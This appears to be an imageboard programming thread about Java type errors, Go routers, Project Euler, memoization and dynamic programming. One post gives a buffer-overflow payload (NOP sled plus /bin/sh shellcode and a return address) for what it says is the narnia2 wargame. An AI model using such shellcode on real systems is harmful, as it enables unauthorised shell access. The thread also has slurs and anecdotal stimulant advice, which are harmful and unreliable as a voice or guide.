int newInt = charArray[0];
System.out.println(newInt);

[/code]

Exception in thread "main" java.lang.Error: Unresolved compilation problem: Type mismatch: cannot convert from char[] to int[]

>>56286792
ftfy
>

>System.out.println(cn + ".");
>String str = cn;
>char[] charArray = str.toCharArray(); 
>String number = String.valueOf(cn);
>int[] digits1 = number.toCharArray();
>int newInt = charArray[0]; 
>System.out.println(newInt);
>

>Exception in thread "main" java.lang.Error: Unresolved compilation problem: Type mismatch: cannot convert from char[] to int[]

>>56286753
it helps you concentrate while studying, ie battling procrastination. It won't make you smarter, so don't bother.

>>56286797
thanks, mr. green.

but what the fuck?
why is it impossible (seemingly) to get int[] from char[]?

Want to write a http router in golang with a radix trie as a base but don't know where to start (first time using golang). Any suggestions?

>>56286810

so muh smarts is all muh genetics? no drug will help you improve in cognitive thinking?

>muh math
>muh logics

>>56286810
I'll back this up, adderall makes it so that I can tell myself no, and just keep focusing on work. Whereas before I'd just say "one match of X game couldn't hurt, it's just a break..." after only working for an hour or so.

>>56283671

self.kill();

>>56286953

Better focus tho means you will understand the problem better tho doesn't it? I know no pill will turn you into Einstein overnight

>>56287033
It's not going to make you inherently better at logic or math, you still need to put the same effort in as you would have to without it.

>>56284023
>>56284098
Writing an imageboard in Go. Fetching the the /all/ board JSON currently takes only 37 ms on my cheap laptop with no SSD.

File: lol.png (34KB, 637x502px) Image search: [Google]

34KB, 637x502px

Anyone here do Project Euler problems? How many have you solved?

any way to make this function more concise?

def coin(p, i):
    c = [200, 100, 50, 20, 10, 5, 2, 1, 0]
    if i > 7 or p < 0:
        return 0
    elif p == 0:
        return 1
    return coin(p-c[i], i) + coin(p, i+1)

>>56287209
Trying to learn go and write a http router. Any ideas where I should start? Never used the language before.

>>56287278
For Go in general:
https://tour.golang.org/
https://golang.org/doc/effective_go.html
https://gobyexample.com/

Existing routers:
https://golang.org/pkg/net/http/#ServeMux
https://github.com/julienschmidt/httprouter - fastests to date
https://github.com/dimfeld/httptreemux
https://github.com/gorilla/mux

File: euler.png (18KB, 628x158px) Image search: [Google]

18KB, 628x158px

>>56287240
I haven't worked on project euler for a long time tho.

>>56287364
The Go tour was nice but didn't learn that much there.

Going to try out gobyexample now, thanks!

>>56286813
BECAUSE IT'S NOT THE SAME holymotherofgod! There is no automatic conversion, you have to create the damn int array that you want yourself, and if you don't know what you want, well, DON'T PROGRAM!

>>56286146
Would he still interject if people called it just "GNU"?

anyone been through the "official" Java certification?
how long ago? and at what costs?

>>56287433
really? there must be some way to receive user input and cull the digits from it through /magic/ of computers

>>56287493
You were doing it already, just iterate through the damn char[] and collect the digits. Why you fail such a simple task is anyone's guess.

>>56284995
Agreed completely.
>>56285006
There are reasons to use OOP in certain parts of your program, like collections of objects with isolated state. There is absolutely no reason to use only OOP in any program.

File: 2016-08-27-134044_956x298_scrot.png (94KB, 956x298px) Image search: [Google]

94KB, 956x298px

Is there a trick to debugging ncurses applications?
Because just using gdb doesn't seem to work that well, can I somehow pipe ncurses/gdb output to another terminal?

>>56286055
>String cn = 31997
Can't assign int to String an it's missing a semicolon somehow. You know what just start again from scratch, stop at the first error about which you don't know what to do and come here to copypaste code and error. You'll thank me later.

>>56287274
That's complete shit m8.

>>56287604
You could if I remember correctly:
-start your program without gdb in one terminal
-open another terminal and launch "gdb your-program your-pid" where your-pid is the pid of the process you started at step 1. Still gotta find it tho, I would probably just use htop.

>>56287274
I wouldn't try to make it more concise but more efficient using memoization:

def coin(p, i, mem):
    c = [200, 100, 50, 20, 10, 5, 2, 1, 0]
    if i > 7 or p < 0:
        return 0
    elif p == 0:
        return 1
    try:
        return mem[(p,i)]
    except KeyError:
        v = mem[(p,i)] = coin(p-c[i], i, mem) + coin(p, i+1, mem)
        return v

It's quite a jump in performance
Original:

$ python -mtimeit -s'import x' 'x.coin(200, 0)'
10 loops, best of 3: 1.33 sec per loop

w/ memoization:

$ python -mtimeit -s'import x' 'x.coin_mem(200, 0, {})'
1000 loops, best of 3: 774 usec per loop

That's 1718x faster!

>>56287712
I found a way to just shove the program output to a different terminal using the tty command in gdb, have to let the target terminal sleep for a long time so it doesn't interfere.
This really screws with my workflow...

File: sad.jpg (496KB, 2048x1537px) Image search: [Google]

496KB, 2048x1537px

>>56286788

>Implying there are computer literate people on /g/ at all

I want to make a decentralized chat room. What's a clever way to connect to others across the Internet without exchanging IP addresses? I can't think of anything.

>>56288004
kek

>>56288004
Hide IPs from the users and only pass them around between the servers. Use expiring tokens, if you need one user to point to another.

>>56288004
http://cs.berry.edu/~nhamid/p2p/

>>56287735

holy FUCK

that is INSANE

I did NOT know that was possible, how did you do that?

>>56288040
But I have to start SOMEWHERE. Doesn't matter if it's a unique token, an account name or an IP address. Somehow I have to get my address to the next guy to get the whole system running, no?

File: Euler.png (65KB, 653x719px) Image search: [Google]

65KB, 653x719px

>>56287240
It's been awhile

File: isolated-arm-fist-9378687.jpg (100KB, 1300x755px) Image search: [Google]

100KB, 1300x755px

The red area hurts so much, I have to take breaks very often. It hurts where my arms touch the table. I put a towel there on the table, and it helped a little bit but it's not enough. I haven't been straining myself either. Wat do

>>56288126
You said decentralised not distributed, so I assumed there are multiple servers scattered around the globe.

>>56288112
>>56287735

So essentially it remembers certain trees it's already computed, so it doesn't have to compute them again? But how is it implemented?

>>56283671

print "\x90" * 116 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "\x90\xd8\xff\xff"

>>56287240
Am I supposed to code it or pen and paper?

>>56288112
Wanted to post some more extensive benchmarks but the original version isn't finishing up.
Been running it for almost one and a half hours
however the original version doesn't get past 511

optimized version takes 3.3msec with python2.7 and 1.95msec with python3.5.

memoization bases on referential transparency, meaning the function always returns the same value for the same input.
with a non-trivial recursive function as you've written it it recomuptes some values a lot of times, memoization eliminates recomputation of already known values at the expense of memory usage.

>>56288186
>But how is it implemented?

By keeping a dict of already-computed output values for a given input key.

>>56288202
however you want to, most cannot be done without code, many iterations needed.

>>56288127

any tips? I heard the first 100 problems are considered trivial

>>56288186
Exactly. "mem" is a dictionary, so it stores keys and corresponding values. It's usually intialized like

dict = {
    "First entry": 10,
    "Second entry": 22,
    "Third entry": 31
    }

and called like

>> print dict["First entry"]
10
>> print dict["Second entry"]
22

You can also add new entries like

>> dict["Fourth entry"] = 47

Here the indices are strings, but they can be whatever really.

If you were to call an index that doesn't yet exist, then the thing raises KeyError, which can be caught. In this case the real value is just calculated and stored into the dictionary.

>>56288254
they'll be trivial after you are done with them or if you've done something similar, but yes they aren't hard.

>>56283506
C may be more attractive, but who do you think would win in a fight?

>>56288197
Is that for a CTF?

>>56288271

ah ok, that makes perfect sense.

Pretty clever, that's a dynamic programming thing right?

>>56288202
Some can be done on only pen&paper but i find myself using both most of he time.

>>56288254
I doubt that, things like permutations of sequences is considered "hard" in CodeEval and is problem 24 in Euler.
But since euler doesn't care about runtime you can consider it easier since even programms taking 17 minutes get you through them.

>>56288310
yes, it's often used within dynamic programming

>>56288254
I guess try to break down what the problem is asking for and write down equations in pen and paper. A lot of questions can be algebraically reduced to something trivial or a Diophantine than can be solved.

Also just google everything and look at the solutions to any problem you solved.

And the main difference between the first 100 or so and the rest is that you usually can't brute force them anymore.

>>56288314

Euler is a 50/50 coin...if you really want something hard, try Hackerrank Project Euler +, they're Project Euler challenges with multiple test cases AND a 10 second time limit.

>>56288348
>Euler is a 50/50 coin
What did he mean by this?

>>56288374
Either Euler exists or he doesn't

>>56288374
It's a rating, he gives him 50 points out of 50.

>>56288310

Memoization is a technique often (but not necessarily) used in dynamic progamming. This is not really DP in an algorithmic sense even though it does memoize. A typical DP problem is the floyd warshall algorithm for finding cartesian shortest path (shortest path from all nodes to all nodes). In essence, consider the case where we know the shortest path A -> B, and we know the shortest path from B -> C. It may be that the shortest path from A -> C goes through B, to find out we would have to calculate B -> C again, but we can just reuse the previous calculation, which we have (implicitly) memoized. This works because the problem has "optimal substructure" which is a fancy way of saying that no matter if we want to know F -> B -> C or A -> B -> C the value of B -> C stays the same and can be reused.

It's a lot to take in, but when it suddendly clicks it will be blindingly obvious

>>56288374
It means you get one half and Euler gets the other.

>>56288429

You might want to draw the nodes on paper to make sense of my rambling. I'm pretty sure I got it right, but experience has taught me otherwise

>>56285956
Lisp does not have compilation.

File: 1465167740751.jpg (17KB, 503x475px) Image search: [Google]

17KB, 503x475px

>>56288454

>>56288138
You need to drastically change how you sit at your desk.

That's not Jamal.

>>56288454

gotta love /g/ sometimes

>>56288474
dumb frogposter
gb2 >>/pol/

>>56288474
he's right though

NEW THREAD

>>56288576

>>56288576

>>56288513
>>56288514

Is the argument that lisp in itself is interpreted, as in sbcl can be compiled but that compiling is not an intrinsic feature of lisp?

File: image.jpg (55KB, 512x288px) Image search: [Google]

55KB, 512x288px

>>56288474
Take your frog posting ass back to /pol, stormtard.

>>56288429
So basically it's fucking nothing

Just obvious shit that doesn't need a name

"Oh I'm doing dynamic programming! I'm doing memoization!" so what? So am I, so are all the other programmers, you're just the only one who makes a song and dance about it

>>56288624

I can't stand the orange clown or the cucks that enable him


>>56288649

It's not hocus pocus at all, but when I teach it seems to be a pretty common stumbling block for a lot of students, and it comes up a lot in coding interviews.

>>56288699
Well, hope you can hang in there for the next 8 years.

>>56288716

Working on my PhD m8, I don't understand why explaining a basic concept made you so angry.

>>56288308
Yes, otw narnia2 iirc

>>56288699
Proposition: most CS/SE students should not be in the field.

>>56288734
I'm not angry, I'm just angry because the 'give an obvious technique a special name' pattern is just so unnecessary and a waste of time

>>56288699
People are having a hard time understanding that sometimes caching improves performance and that some problems allow you to cache stuff?
What?

>>56288818
Yeah, no wonder MIT had to switch to Python if students today are so useless

>>56288454
No language has compilation.

>>56288582
No language is interpreted.
A language is a language.

Retard

>>56289505
Dumbass

>>56289526
Nice argument faggot. However I am right an you will forever be wrong.